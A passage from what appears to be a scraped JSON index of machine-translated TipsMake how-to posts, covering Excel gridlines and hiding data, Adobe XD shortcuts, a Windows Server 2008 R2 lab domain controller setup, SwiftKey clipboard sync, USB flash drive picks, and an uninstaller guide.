presentation, you will want to remove the lines that are outside your worksheet array but don't know how to do it quickly. TipsMake.com will guide you how to delete Excel cell lines quickly.\n  1. Delete a series of gridlines in Excel Let's take a look at the example below, we have a table occupies some area in the whole Excel worksheet, except the position with the table out, we will delete all open lines outside.\n  To do that, you can do in the following two ways:\nMethod 1:\nOpen the View ribbon on the toolbar, then select to uncheck the Gridlines line in the Show section .\nAs you can see, when you remove the check marks, the lines that are left out will immediately disappear.\n  Method 2:\nOne way to delete the grid lines is to open the File ribbon on the toolbar.\n  Next you open the Options item in the File list just displayed.\n  The Excel Options function window pane will open. You click open Advanced section of this function window pane.\nKeep scrolling down to search for Display options for this worksheet .\nYou click to uncheck the box before Show gridlines in this section.\n  Finally click OK to confirm the changes have been installed. Then all redundant lines of Excel worksheet will be deleted.\n  2. Delete the grid lines in a certain area To delete the grid line in a certain area, highlight the area you want to delete the grid line.\nNext, open the Home ribbon on the toolbar, click the Shading icon located in the Font section of this ribbon.\nThen you select white (or any other color can also create a rectangular array of colors without lines).\n  The resulting array you selected will be filled with white and no visible gridlines.\n  To remove the color, restore the grid, highlight the location, click Shading, and select the No Fill line .\n  Thank you for following the article TipsMake.com's Guide on how to delete gridlines, hope the article has given you all the necessary tips. Wish you can do it successfully.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnDnqOerJVitLO1w6Wgp52jYravecSxmp6k\n","link":"/post/instructions-on-how-to-delete-gridlines-in-excel/","section":"post","tags":null,"title":"Instructions on how to delete gridlines in Excel"},{"body":"XD provides shortcuts to help users quickly work on documents. Many shortcuts appear next to the command name in the menu.\n* List of downloadable shortcuts\nYou can download the shortcut list here, then paste in the place where you usually work to facilitate the tracking and remembering when needed.\nShortcuts in Adobe XD Common shortcuts Shortcuts commonly used for Edit menu Shortcuts are often used for File menu Common shortcuts for Path / Pen Shortcuts are often used for Layers (Objects), Groups and Artboards Keys to align Keys to sort Keys for classification Keys for editing text Shortcuts for menu Operations Shortcut for Tools menu Shortcuts for Interface and Viewing Options Shortcut for Window menu Shortcut to modify operation Keys to select and measure distances between elements Keys for design parameters Keys to edit vector Keys to create templates Common shortcuts Results Shortcuts on macOS Shortcuts on Windows Exit ⌘Q Alt + F4 Shortcuts commonly used for Edit menu Menu Shortcuts on macOS Shortcuts on Windows Undo ⌘Z Ctrl + Z Redo ⇧⌘Z Ctrl + Shift + Z Cut ⌘X Ctrl + X Copy ⌘C Ctrl + C Paste ⌘V Ctrl + V Paste Appearance (in Design mode) and Paste Interaction (in Prototype mode) ⌥⌘V Ctrl + Alt + V Duplicate Ctrl + D Delete ⌫ Delete Select All + Ctrl + A Deselect All DesA Ctrl + Shift + A Shortcuts are often used for File menu Menu Shortcuts on macOS Shortcuts on Windows New Ctrl + N Open . ⌘O Ctrl + O Close ⌘W Alt + F4 Save . ⌘S Ctrl + S Save As . ⇧⌘S Ctrl + Shift + S Export Batch ⇧⌘E Ctrl + Shift + E Export Selected ⌘E Ctrl + E Export to third-party application (if application integrated with XD is installed on your computer) ⌥⌘E Not Available Import ⇧⌘I Ctrl + Shift + I Common shortcuts for Path / Pen Menu Shortcuts on macOS Shortcuts on Windows Switch to Pen PP tool Switch to Point Double-click Double asymmetric control points ⌥ Alt Capture Control Point Angle ⇧ Shift Capture Anchor Point Angle ⇧ Shift Add ⌥⌘U Ctrl + Alt + U Exclude ⌥⌘S Ctrl + Alt + S Intersection ⌥⌘I Ctrl + Alt + I Overlapping ⌥⌘X Ctrl + Alt + X Convert to a path ⌘8 Ctrl + 8 Shortcuts are often used for Layers (Objects), Groups and Artboards Menu Shortcuts on macOS Shortcuts on Windows Grouping layers ⌘G Ctrl + G Grouping layers ⇧⌘G Ctrl + Shift + G Creating icons ⌘K Ctrl + K Lock / Remove lock layer ⌘L Ctrl + L Hide / show layer ⌘; Ctrl +; Mask with shape ⇧⌘M Ctrl + Shift + M Create repeat grid ⌘R Ctrl + R Directly select a layer in a group / icon ⌘ Click on the layer on canvas Ctrl + Click on the layer on canvas Change the opacity of layer From 1 to 9 (from 0 to 100%) From 1 to 9 (from 0 to 100%) Select artboard ⌘ Click on an empty part of the artboard Ctrl + Click on the empty part of the artboard Draw a picture from the center ⌥ and drag Alt + Drag Draw shapes with a ratio of 1: 1 (finishing the square / circle) ⇧ and drag Shift + Drag Keys to align Menu Shortcuts on macOS Shortcuts on Windows Left ⌃⌘ ← Ctrl + Shift + ← Center (horizontally) ⌃⌘C Shift + C Right ⌃⌘ → Ctrl + Shift + → Top ⌃⌘ ↑ Ctrl + Shift + ↑ Center (vertical) ⌃⌘M Shift + M Bottom cùng ↓ Ctrl + Shift + ↓ Keys to sort Menu Shortcuts on macOS Shortcuts on Windows Bring back ⇧⌘] Shift + Ctrl +] Bring back ⌘] Ctrl +] Send back ⌘ [Ctrl + [Resend ⇧⌘ [Shift + Ctrl + [ Keys for classification Menu Shortcuts on macOS Shortcuts on Windows Horizontal ⌃⌘H Ctrl + Shift + H Vertical ⌃⌘V Ctrl + Shift + V Keys for editing text Menu Shortcuts on macOS Shortcuts on Windows Bold ⌘B Ctrl + B Italics ⌘I Ctrl + I Increase font size ⇧⌘\u0026gt; Ctrl + Shift +\u0026gt; Reduce font size ⇧⌘ Shortcuts for menu Operations Menu Shortcuts on macOS Shortcuts on Windows Center ⌥ Alt Copy Paste Object ⌥ and drag Alt + Drag Constrain ⇧ Shift Edit Text Enter Enter Constrain Rotate ⇧ (15 °) Shift (15 °) Line Constrain Rotate ⇧ (45 °) Shift (45 °) Constrain From Center ⇧⌥ Shift + Alt Direct Select ⌘ Ctrl Switch between Design mode and Prototype mode Ctrl + Tab Ctrl + Tab Shortcut for Tools menu Menu Shortcuts on macOS Shortcuts on Windows Horizontal PanShift + RollerShift + Rollers Vertical PanCon rollers\nMenu Shortcuts on macOS Shortcuts on Windows Turn on the Option parameters (with the selected object) Alt (with the selected object) Distance from selected layer\nHold ⌥ and hover over object / group / artboard\nKeep alt and hover over object / group / artboard\nRelative distance from the selected group\nHold ⌥⌘ and hover over the object in the group\nHold Ctrl + alt and Hover over the object in the group\nMenu Shortcuts on macOS Shortcuts on Windows Zoom ⌘ + Mouse roll\n⌘ +, ⌘-\nCtrl + Mouse roll\nCtrl +, Ctrl -\nReset zoom ⌘0 Ctrl + 0 Pan ↑, ↓, →, ←\nSpacebar + Click and drag\n↑, ↓, →, ←\nSpacebar + Click and drag\nFaster panShift + ↑, ↓, →, ← Shift + ↑, ↓, →, ← Switch from view to Spec view UX flowEscEscDemove points from artboard in UX flowEscEsc view Navigate on the artboard to support overlay + ClickShift + Click Menu\nShortcuts on macOS\nShortcuts on Windows\nStart editing the selected vector object\nReturn\nEnter\nStop editing the selected vector object\nEsc\nEsc\nSwitch between Straight and Mirrored Control Point\nDouble click\nDouble click\nDisconnect Control Point Handle\n⌥ and drag\nAlt + Drag\nMenu\nShortcuts on macOS\nShortcuts on Windows\nSee all connections in prototype mode\n⌘A\nCtrl + A\nPreview\nEtReturn\nCtrl + Enter\nStart or stop recording the preview\n^ ⌘R\nUnavailable\nStop recording\nEsc\nUnavailable\nShare prototypes online\n⇧⌘E\nCtrl + Shift + E\nNavigate the artboard in the preview or prototype to be shared\nRight or left arrow\n→ or ←\nSee more:\nPhotoshop shortcuts help you work faster Popular Adobe Premiere shortcuts 44 shortcuts are useful on all browsers ncG1vNJzZmismaXArq3KnmWcp51kuaq%2F02aYpaRdqLWwvtOcrK2rXZ67bq3DqJmeZaiZ\n","link":"/post/list-all-shortcuts-in-adobe-xd/","section":"post","tags":null,"title":"List all shortcuts in Adobe XD"},{"body":"In this series we will show you how to create a Lab Domain Controller in Windows Server 2008 R2.\nWe will start with the first computer installation in the experimental network. This will be a Windows Server 2008 R2 computer that uses a virtual processor and 512 MB of virtual RAM. During the installation process, we will use a bridged network connection on a virtual NIC. Some people can use NAT and that is also quite good. The problem here is that you want to connect an active network to be able to access updates during the initial installation. After the initial installation is complete, we will move this virtual machine to another virtual network for the reason that it is placed behind the virtual TMG firewall. The TMG firewall VM will have an active network connection and all VMs will be placed behind it.\nIn VMware Workstation 6.5, we will create a new virtual machine (VM) and write the Windows Server 2008 R2 .iso file to the CD so that the computer boots from that .iso file. When the computer is first launched, you will see the first page of the installation wizard asking for the installation language, time, format and keyboard or input method.\nClick Next after selecting your options.\n Figure 1 Then the installer will give you the option to Install now . Please click this option to install.\n Figure 2 The .iso file has all versions of Windows Server 2008 R2 and we can choose which version we want to install here. Note that you can also install Server Core versions from here. However, in this tutorial, I chose Windows Server 2008 R2 Enterprise (Full Installation) and clicked Next .\n Figure 3 Check the I accept the license terms check box in the registration agreement page and click Next .\n Figure 4 With the question Which type of installation do you want? You can choose which option you like. However, for the installation to be bright and easy to understand, click the Custom (advanced) option. Note that there is no 'Next' option on this page, but you will quickly switch to the next page when you're done with your selected action.\n Figure 5 Here you will have to decide where you want to install the system files. In the example, we created a 24 GB dynamic virtual disk file for the operating system. Remember, dynamic disk files use only the space they need - not all the space until it is needed.\nClick Next .\n  Figure 6\nNow the installation process will begin - it will take a long time. Please estimate about an hour or two and come back to see what happens to your settings.\n Figure 7 During the initial login process, the installer will ask you to create a password. Click OK when you see the screen shown below.\n Figure 8 Enter the password, confirm the password and do not click OK (because there is no OK to click here). Instead, click the arrow icon next to the confirmation password entry box.\n Figure 9 Now the password has been changed. Click OK .\n Figure 10 You can remember the Initial Configuration Tasks window if you used Windows Server 2008. If you have never used Windows Server 2008 and switched from Windows Server 2003, the Initial Configuration Tasks window will give you access to many things. that you need to do when the operating system software is installed. After looking at some of the options in this window, you can see that many of the options that you have configured during the installation process for earlier versions of Windows are also configured here. The goal is to create fewer inputs during the installation process and perform them at the end of the delivery. This is an interesting way.\n Figure 11 From the Initial Configuration Tasks window, set the components below:\nTime zone setting Network configuration Provide computer name and domain We will need to consider some other issues when providing this computer with an IP address on the network. Set the hostname to FFWIN2008R2DC, and information about the IP address is:\nIP address - 10.0.0.2 Default Gateway - 10.0.0.1 DNS - 10.0.0.2 WINS - 10.0.0.2 The default port will be TMG 2010 firewall - this is the port that we will install later in this series.\nUpgrade Windows Server 2008 R2 virtual machine to Domain Controller\nThe next step is to make this computer a domain controller. If you are from the Windows Server 2003 world, you will see that this step is very different. You will still need to run dcpromo from the Run command prompt , but you need to install the Active Directory Domain Controller role. Server roles are a new concept in Windows Server 2008 - where server services are considered 'roles'. The Active Directory Domain Controller role is a bit different because it is a two-step process for installing Active Directory DC: first install the role, then run dcpromo .\nGo to Server Manager and click the Roles button in the left panel of the console. Then click on the Add Roles link in the right pane.\n Figure 12 That will make the Before You Begin page appear. If this is the first time you install a role using Server Manager, read the information on this page. If you are already familiar with Server Manager, then click Next to continue.\n Figure 13 Here you select what Server Roles you want to install. We will install other Server Roles later, but we want to install the DC role first. Select Active Directory Domain Services by placing a checkmark in the checkbox. Note that the wizard will show you the number of features that will be installed along with the Active Directory Server Role. Click the Add Required Features button to install these additional features with the Active Directory Server Role.\n Figure 14 After selecting the Active Directory DC Server Role, you will see information about Server Role. Some things to note here are:\nYou should install at least two DCs on your network to automatically failover. Installing a DC on a network is easy to lead to disaster. DNS request. However, when running dcpromo , we will install the DNS server role to support Active Directory services. You need to run dcpromo after installing the role. You will not have to access the same extension steps when installing other server roles, the entire role installation process can be done through the Manager. The Active Directory Domain Services role is just one of the roles that takes two steps to install. Note that installing the Active Directory Domain Services Role also entails installing S Namespaces, DFS Replication and File Replication Services - all of which are used by Active Directory Domain Services so they will be installed automatically.   Figure 15\nClick Install to install the required files to run dcpromo .\n Figure 16 Installation was successful. Click Close .\n Figure 17 Now go to the Start menu, type dcpromo into the search box. You will find it in the list as shown in the figure below. Click dcpromo .\n  Figure 18\nThis will launch Welcome to the Active Directory Domain Service Installation Wizard . We don't need advanced options in this scenario, so just click Next .\n Figure 19 On the Operating System Compatibility page, you will be warned that NT and non-Microsoft SMB clients will experience problems with some cryptographic algorithms used by Windows Server 2008 R2. We don't have this problem in the test network, so click Next .\n Figure 20 On the Choose a Deployment Configuration page, select the option Create a new domain in a new forest. We do so because this is a new domain within a new forest.\n Figure 21 In the Name the Forest Root Domain page , enter the domain name in the FQDN input box of the forest room domain . In this example we will name the domain fflab.net . However, you can put any name of your choice. Click Next.\n   Figure 22\nOn the Set Forest Functional Level page , select the Windows Server 2008 R2 option (not the option you see in the picture below). Here we want to select the option so that we can take advantage of all the exciting new features included with Windows Server 2008 R2. Click Next .\n Figure 23 On the Additional Domain Controller Options page , we have only one option: DNS server . The Global catalog option is defaulted because this is just a DC in this domain, so it must be a Global Catalog server. The Read-only domain controller (RODC) option is unchecked because you must have another non-RODC in the network to enable this option. Select the DNS server option and click Next .\n Figure 24 A dialog box will appear saying that you cannot create delegates for this DNS server because it cannot find the authentication area or it does not run Windows DNS server. The reason for this is because this is the first DC on the network. You should not worry about this and just click Yes to continue.\n Figure 25 Leave the Database, Log Files and SYSVOL folders in their default locations and click Next .\n Figure 26 In the Directory Service Restore Mode Administrator Password , enter a strong password in the Password and Confirm password input boxes .\n  Figure 27\nConfirm the information on the Summary page and click Next .\n Figure 28 Active Directory will install. The first DC will install quite quickly. Put a checkmark in the Reboot on completion check box so that the computer will automatically restart when the DC installation is complete.\n Figure 29 The computer will restart automatically because we have selected that option. Installation will complete when you log in. With Windows Server 2008 you will see some configurations that occur when you are logged in, but this does not happen with Windows Server 2008 R2.\nDNS service is installed during Active Directory installation, so we don't need to worry about it. There are several other services that we should install on this domain:\nDHCP WINS Enterprise Certificate Services However, only DHCP and Certificate Services are considered 'roles' and WINS is considered a feature.\nncG1vNJzZmismaXArq3KnmWcp51kv7a6jLCgp5yfrMBuv8SrrZ6qXWd9cYSMq2lmoZ6owaK4y2aYp5xdmL%2BmrdOeZJplnJavbrDOppiipl2YvK%2FA0aijpZ2iYr2ivtNmaA%3D%3D\n","link":"/post/run-windows-server-2008-r2/","section":"post","tags":null,"title":"Run Windows Server 2008 R2"},{"body":"In particular, if you also regularly use Windows, your experience will be much better, thanks to a new feature that allows users to copy and paste text in sync, directly with the SwiftKey app on both Android and Windows platforms.\nCalled Cloud Clipboard, the feature is a long-awaited addition, released by Microsoft with update 7.9.0.5 for the SwiftKey virtual keyboard app on supported platforms. Once the latest update is installed, you'll be able to copy text to the clipboard of your Android smartphone or tablet, and paste it into the working text field on your Windows PC - and vice versa.\nIn fact, Cloud Clipboard was introduced in the SwiftKey Keyboard beta a few months ago. After a beta period, Microsoft is now making this feature available to the stable version of the app. This feature can work on both Windows 10 (running October 2018 update or later) and Windows 11, provided you have the latest version of the SwiftKey app on your Android device.\nHowever, it should be noted that Cloud Clipboard is not enabled by default. On an Android device, you'll need to open the app and navigate to SwiftKey Keyboard Settings \u0026gt;\u0026gt; Rich input \u0026gt;\u0026gt; Clipboard. Then, tap the switch to turn on the 'Sync Clipboard history' feature.\n  Now on a Windows computer, navigate to Settings \u0026gt;\u0026gt; System \u0026gt;\u0026gt; Clipboard, and toggle the switch to enable the following features:\n'Clipboard history' 'Sync across your devices'   You can learn more about the feature HERE. Download and install the keyboard app for Android smartphones HERE.\nncG1vNJzZmismaXArq3KnmWcp51kwLi1xa2inrFdlr2xec2ormarpaW9sL7TrGSdoaKasLV5wqinsqiRqMGmecGeq7CdlaN6orrDq6ainF2Wu6V51qKlnaenqA%3D%3D\n","link":"/post/swiftkey-app-now-supports-direct-copy-paste-between-android-and-windows/","section":"post","tags":null,"title":"SwiftKey App now supports direct copy/paste between Android and Windows"},{"body":"Internet speed is faster than ever. There are a lot of online memory available for free or cheap. But they can't beat the speed you get from the flash drive. Plus, when you have to transfer a few gigabytes of data, there's no reason to clog your bandwidth, right?\nUSB flash has many shapes and sizes. But sometimes, all you need is fast speed - and if so, these are the best things you can buy at this time.\nThe top 5 fastest USB 3.0 flash drives you should buy A new type of USB Choose between regular SSD and USB The fastest Top 5 USB 3.0 you should buy The fastest recording speed on USB flash: SanDisk Extreme Pro SDCZ880 Fastest reading speed on USB Flash: Corsair Flash Voyager GTX The fastest low-cost flash drive to install the operating system: Kingston DataTraveler 100 G3 The fastest flash drive to run Linux portable: Corsair Flash Voyager GTX The fastest USB Type C: Samsung T5  A new type of USB   Technology has the habit of shrinking the size of everything year by year. And that's happening for SSDs at an amazing speed. Now you can buy SSDs of the same size as a USB flash drive.\nSSDs differ from the memory that most USB flash drives use. Although both are basic flash memory, the quality of materials created and their structure are very different. Usually, an SSD has a much higher quality. Without going into the technical details, here are some notable differences:\nAn SSD will have a higher price than a flash drive.\nThe SSD has a better Fault tolerance. Fault tolerance is the ability to keep data safe when you remove the drive without clicking 'Safely Remove' or 'Eject' on the screen.\nSSD uses better quality flash memory, ensuring more write cycles than flash memory. Simply put, SSD will have a longer life.\nChoose between regular SSD and USB   Choosing between SSD and regular USB is not an easy thing. From the same manufacturer, an SSD is faster and better than conventional flash drives. But some flash drives are as good as low-quality SSDs. In addition, SSD USB drives are much more expensive than regular flash drives.\nAs a general rule, here's what you need to keep in mind:\nBuy an SSD if you regularly use the drive and need fast speeds to transfer data. Buy regular USB 3.0 flash if you want to save money and need to read data from more drives to write data to it. In essence, USB flash is not slow. It is only slower than an SSD. Chances are, you'll still be fine with this speed. Suppose you need a regular flash drive, not an SSD, here are the fastest USB 3.0 or USB 3.1 flash drives for you to choose from.\nFastest recording speed: SanDisk Extreme Pro SDCZ880   Price: $ 60 (VND 1,400,000) Capacity: 128GB, 256GB Advertised reading speed: 420MB / s UserBenchmark: 297MB / s read speed Speed ​​recorded ads: 380 MB / s Recording speed of UserBenchmark: 262MB / s Who should buy: Anyone looking for the \"fastest flash drive\" overall. SanDisk Extreme Pro speeds up reading and writing. Actually, UserBenchmark ranks its write speed as the fastest. Behind it are Lexar Jumpdrive P10 and Kingston HyperX Savage, 30MB / s slower or more.\nSuch a fast recording speed is great for copying large files or editing videos, for example. Because SanDisk Extreme Pro has two relatively high capacity storage options (128GB and 256GB), this is the best USB for those needs.\nAlso, if you often lose the lid of a USB flash, you'll love this. SanDisk Extreme Pro has a sliding mechanism to turn on the USB connector. There is no lid like usual so you don't need to worry about losing something anymore!\nThe fastest reading speed: Corsair Flash Voyager GTX   Price: $ 68 (VND 1,587,000) Capacity: 128GB, 256GB, 512GB, 1TB Advertising speed read: 440MB / s Read speed of UserBenchmark: 380MB / s Advertised write speed: 440MB / s UserBenchmark recording speed: 168MB / s Who should buy it: People who work with files directly from a flash drive. The read and write speed of the SanDisk Extreme Pro is impressive enough to make it the fastest USB overall, but the Corsair Flash Voyager GTX has a higher read speed. If you work with files directly from the flash drive (without copying them to your hard drive), this might be a better option for you.\nIf your laptop doesn't have enough free storage, then you won't be able to copy anything. Flash drives are what you need to work and the Voyager GTX's 380MB / s speed is absurd. Plus it has storage options up to 1TB, so you've got everything you need here.\nThe fastest low-cost flash drive to install the operating system: Kingston DataTraveler 100 G3   Price: $ 47 (VND 1,097,000) Capacity: 32GB x 5 drives Advertised reading speed: 100MB / s Read speed of UserBenchmark: 134MB / s Speed ​​recorded ads: Not applicable UserBenchmark write speed: 52.2MB / s Who should buy it: Those who want cheap flash drives to create installers capable of booting operating systems. You don't always need a USB flash with lots of memory. Sometimes, you need very little storage, but it must be fast and cheap. Kingston DataTraveler 100 G3 32GB is a great option for this need.\nSo it has 5 separate flash drives, and you can turn each drive into a USB capable of booting from an ISO file. At a cost of about $ 10 per drive (about VND 230,000), you won't even bother to borrow someone from one of these drives and never return it.\nMake sure you buy the 32GB version, not the 16GB model. The speed of the 16GB model is much lower and therefore, it is not worth the price.\nThe fastest flash drive to run Linux portable: Corsair Flash Voyager GTX   Price: $ 68 (VND 1,587,000) Capacity: 128GB UserBenchmark 4k reading speed: 24.4MB / s UserBenchmark's 4k write speed: 49.8MB / s Who should buy it: People running a Linux operating system constantly from a Flash drive. In case you don't know, you can run Linux from USB. But the drive you use plays an important role in this activity. Especially for people who run Linux regularly, the Corsair Flash Voyager GTX 128GB version is worth buying.\nThere is a specific reason behind this. When you are running an operating system from a flash drive, many small files are being read, written and recorded continuously. This speed, called 4k recording and 4k reading. It is more important than the fastest sequential speed.\nBuying a 256GB flash drive to run an operating system is not worth it.\nAnd when considering cost, you don't want to spend too much money on something like that, right?\nAll of this makes the Corsair Flash Voyager GTX 128GB version the fastest USB flash, best balanced between cost and use, dedicated to running Linux portable. If you want the fastest speed, use the 256GB version, to speed up reading and writing to 4k. But don't be higher than 256GB because the speed will decrease in later versions.\nNote: In fact, UserBenchmarks ranks Mushkin Ventura Ultra in a higher position. But more rigorous testing showed Mushkin's speed was inconsistent under different conditions, and some users reported much slower speeds than UserBenchmark's statistics.\nThe fastest Type C USB flash drive: Samsung T5   Price: $ 110 (VND 2,567,000) Capacity: 512GB Advertising speed read: 540MB / s Benchmark test speed of reading: 500 - 510MB / s Advertised write speed: 540MB / s UserBenchmark: 470 - 490MB / s write speed Who should buy: People with laptops have only USB Type C ports. Some laptops, especially the best ultrabooks, have switched to using just one USB Type C port instead of the traditional USB Type A port on most flash drives. That means you need a fast flash drive with USB Type C port.\nUnfortunately, users' choices are terribly limited. USB Flash drive with Type C is not fast. In fact, it is better to buy one of the other flash drives mentioned in this article and add a USB Type A adapter to USB Type C.\nSamsung T5 has fast read and write speeds, especially on the new Dell XPS 13 and MacBook. The 512GB version is also worth the money.\nIt is thicker and not as convenient as a flash drive. But it comes with a USB Type A and Type C converter, if you don't want to buy an additional converter, this is the option to consider.\nThe list of super fast flash drives above will meet the needs of anyone who wants a USB with 64GB, 128GB or 256GB capacity. Sure, there are 512GB and 1TB options available. But often, ordinary users won't need to buy those things.\nFor large capacities, especially larger than 512GB, you should consider some of the best portable hard drives instead. They have much better storage capacity and price. Moreover, the speed can actually increase when you use connected devices like Thunderbolt.\nWish you choose the product you like!\nSee more:\n9 best USB currently according to each criterion Top 10 best Wi-Fi USB 7 best external hard drives Difference between Flash drive and Pen drive ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2BYrKyVqMFuwM6pZG5lpaivbrLLmqqhZamkwm6%2Fx6ispZxdl8K6\n","link":"/post/the-fastest-top-5-usb-flash-you-should-buy/","section":"post","tags":null,"title":"The fastest top 5 USB flash you should buy"},{"body":"You often remove unnecessary applications, or automatically installed applications. There are many ways to remove them but often they are not thorough and there are still junk files on the computer.\nOne of the best options for you is to use Advanced Uninstaller Pro to remove applications on your computer thoroughly.\n  Advanced Uninstaller Pro is an uninstaller for Windows that allows you to uninstall programs quickly and thoroughly with a simple and intuitive interface.\nStep 1: You need to download and install the Advanced Uninstaller Pro program on the computer. You can download it on the program homepage: http://www.advanceduninstaller.com/.\nStep 2: After the installation is complete, launch the software with the icon on the desktop or in the Start Menu . The interface of the program is as follows:\n  The program interface has the main features: General Tools , File and Regisry , Internet Browser Tools , Reports , General Settings , Help . In this article we only use Advanced Uninstaller Pro to thoroughly uninstall applications, so we will use the General Tools feature . Other features you can learn more during use.\nStep 3: On the main interface of the program, select General Tools .\n  Step 4: The General Tools window appears, select Uninstall Programs to enter the list of applications and programs installed on your computer.\n  Step 5: At Uninstall Programs , select the application to be thoroughly removed on the computer, if your computer has many applications, the program you can find the application to remove in the Search box below .\n  Step 6: After finding the application you want to remove, select the application and click Uninstall as shown:\n  Step 7: A confirmation window deletes the application window, select Uninstall to continue uninstalling.\n  Continue to have notice of application removal you choose Yes .\n  Notice of successful removal you select OK .\n  Step 8: A notice of Advanced Uninstaller Pro appears , select Next .\n  After the program has finished running, click Next to continue.\n  Step 9: Here, you mark all the boxes or select Select -\u0026gt; Select all to mark all. Then you click Next , so the application will be completely removed.\n  Click Close to finish.\n  You can completely remove applications simply, quickly and thoroughly from your computer. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwq%2B1zayrmqScYq6xvMuimpqsmaS7tHnOp2Syp6WneqS7zKmsrZ2iYsSqwMdmmJ2ukaOwprCMrqWipqOprq24xKtkqaqf\n","link":"/post/uninstall-applications-on-your-computer-with-advanced-uninstaller-pro/","section":"post","tags":null,"title":"Uninstall applications on your computer with Advanced Uninstaller Pro"},{"body":"In the Excel data sheet, there will be times when you need to hide some data to prevent others from seeing it. How to hide data on Excel is very simple and there are many different ways. We can easily hide or show Excel data again. Besides, users can still apply basic functions, calculation formulas in Excel to hidden data, without affecting the results or the whole data table.\nThe following article will summarize the ways to hide data on Excel to users, so that you can choose to match the Excel table being processed.\nMS Excel - Lesson 4: Working with lines, columns, sheets How to temporarily hide rows and columns in Excel 2013 Change color between different lines in Microsoft Excel Instructions for hiding data on Excel Method 1: Hide and show data by Checkbox Method 2: Hide Excel data with Format Cells Method 3: Hide Excel data by color Method 4: Hide Excel data in the traditional way Method 1: Hide and show data by Checkbox \n To hide or show data in columns or rows in Excel we have many ways to do it. The simple and manual way to hide Excel data is to press Unhide or Hide. However, this method is relatively manual and lacks professionalism. In case the content of long Excel documents you have to find the content to hide then proceed to hide or show again, relatively time consuming. If so, we can create a Checkbox to hide or display Excel data if needed.\n1. Set up Checkbox on Excel\nFirst, you need to display Developer mode on Excel to be able to use Checkbok. In Excel interface click on Office icon and select Excel Options. Display the new interface click on the Popular item and then look to the right to select Show Developer tab in the Ribbon .\n  Step 1:\nAt the data interface in Excel, click on the Developer tab and then click Insert and select Checkbox . Select the location of the Checkbox box in Excel to make it easy to do. You draw the Checkbox in the position on the selected Excel.\n  Step 2:\nNext, click on Design Mode and select Checkbox on the content and click Properties in the interface. Or we can right-click on Checkbox and select Properties.\n  This will display the new table interface for users to proceed to edit the content below.\nCaption: Change the name Checkbox1 to View / Hide or whatever name you want. LinkedCell: Enter any cell address like $ B $ 13. This box cannot be in the content content area to be hidden. ForeColor: Change the font color on Checkbox.   Turn off the Properties panel interface and click Design Mode again to remove the mode, which will show the value of the Checkbox box shown below. When you click on the Checkbox box, the value in cell B13 will change to TRUE.\nNote that you must remove Design Mode to display TRUE and FALSE values ​​for Checkbox.\n  If you remove the check box in the Checkbox box, the value in cell B13 will become FALSE.\n  2. Hide / show data by Checkbox\nWe will proceed to hide the Amount column in the data table below.\n  Step 1:\nFirst you need to highlight the entire column of data you want to hide in Excel content, then click on the Home tab , select Conditional Formating and click New Rule .\n  Step 2:\nDisplays the New Formating Rule dialog box. Here you find and click on the condition type to Use a formula to determine which cells to format in the list below. At the Format values line where this formulas is true enter the formula = $ B $ 13 = FALSE. Then click on the Format button next to it.\n  In the Format Cells dialog box click on the Font tab and then select the white for the font.\n  The result will be as shown below. When removing the check box in the View / Hide box, the value will change to FALSE, meaning that the data in the selected column will completely disappear.\n  If the selected item is in the View / Hide box, the value will be converted to TRUE which means that the above column will automatically display the original content.\nSo if we want to hide the column or certain data area in Excel, we just need to tick, or leave the check box in the Checkbox box that has set the value to complete.\n  Step 3:\nIf you do not want to display TRUE or FALSE values ​​on Excel content, click on the value then switch to white text.\nTo remove the Checkbox in the content click on Design mode and then press the Delete key to delete.\n  Method 2: Hide Excel data with Format Cells Step 1:\nBlack out the column to hide or the value to hide and right-click and choose Format Cells .\n  Step 2:\nSwitch to the new table interface, at the Number section, find the Custom option and look to the right in the Type section , enter 3 semicolons and click the OK button.\n  Back to Excel data table will see the value column has been hidden.\n  Step 3:\nTo re-display the data in the column hidden in the data table, users can simply click on the hidden column is okay. If you click once, you will see the value in the top bar, and clicking twice will bring the data back to the table. Disabling the data will also disappear.\nTo show the data again, just remove 3 commas in the Format Cells table.\n  Method 3: Hide Excel data by color Step 1:\nFirst, the user blackens the data area to be hidden and then clicks the letter A at the Home tab.\n  Step 2:\nThe user then just needs to switch the text to white to sync with the background color, or depending on which color depends on the data table background color.\n  You will immediately see the data in the column completely hidden. If you want to show the data again, just change the text to black. However, this way of data is easy to see if blacked out. You only need to use this method temporarily.\n  Method 4: Hide Excel data in the traditional way We can immediately use the Hide / Unhide option for Excel columns to hide data. However, if you do this, the reader is very aware of which column is hidden, because the result will lose 1 column in the table.\nStep 1:\nYou highlight the column to hide the data, then right-click and choose Hide to hide the data.\n  Immediately data in columns or rows in Excel will disappear.\n  Step 2:\nTo display the hidden content in Excel, highlight the line, the column before or after the hidden content and press Unhide .\n  Note to readers , the Hide and Unhide options will only display in the right-click menu list with Excel 2010 or later. With the 2007 version, you have to pull it out.\nFirst, highlight the data column you want to hide and then click on the binoculars icon above to select Go to .\n  The table interface appears, here enter the column you want to hide data in Preferences then click OK.\n  Back to the interface that still blackens the column you want to hide, click Format and then select Hide \u0026amp; Unhide and choose Hide Columns .\n  To display the hidden content again, just highlight the table and click Format , select Hide \u0026amp; Unhide and select Unhide Columns .\n  So you have 4 different ways to hide data, columns or rows in Excel tables. Each has different advantages and disadvantages. With the second way, changing the color for the data to hide in Excel is only applied temporarily.\nSee more:\nHow to hide files, show hidden files, view hidden folders and file extensions on Windows 7/8/10? How to convert numbers into words in Excel? How to change the default save file format in Word, Excel and Powerpoint 2016? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kxKLF0marqGWYnrGmecOaq5pln6N6psTCnqM%3D\n","link":"/post/ways-to-hide-data-on-excel/","section":"post","tags":null,"title":"Ways to hide data on Excel"},{"body":"In today's article, TipsMake \u0026nbsp;will explain the value of these files and the most important thing is how to open them in Windows 10. If you want to access DMP files in Windows 10, but you are not sure how. Please continue to read the following article!\nWhat is DMP file? Windows Memory Dump files with the '.dmp' extension are system files that are stored in binary format. If there is an error or sudden malfunction of a third-party program or even a system feature, these files are automatically generated.\nThey store detailed information about the problem, so most seasoned users will use .dmp files to troubleshoot affected programs.\nIf there is a BSOD (blue screen of death) error, details about the possible causes (driver or other software are common culprits) will be found in the custom .dmp file. moving.\nFor obvious reasons, they are mostly named 'Memory.dmp' or 'Crash.dmp' respectively , with a relatively small capacity.\nHowever, since they tend to pile up over time, DMP files can take up a lot 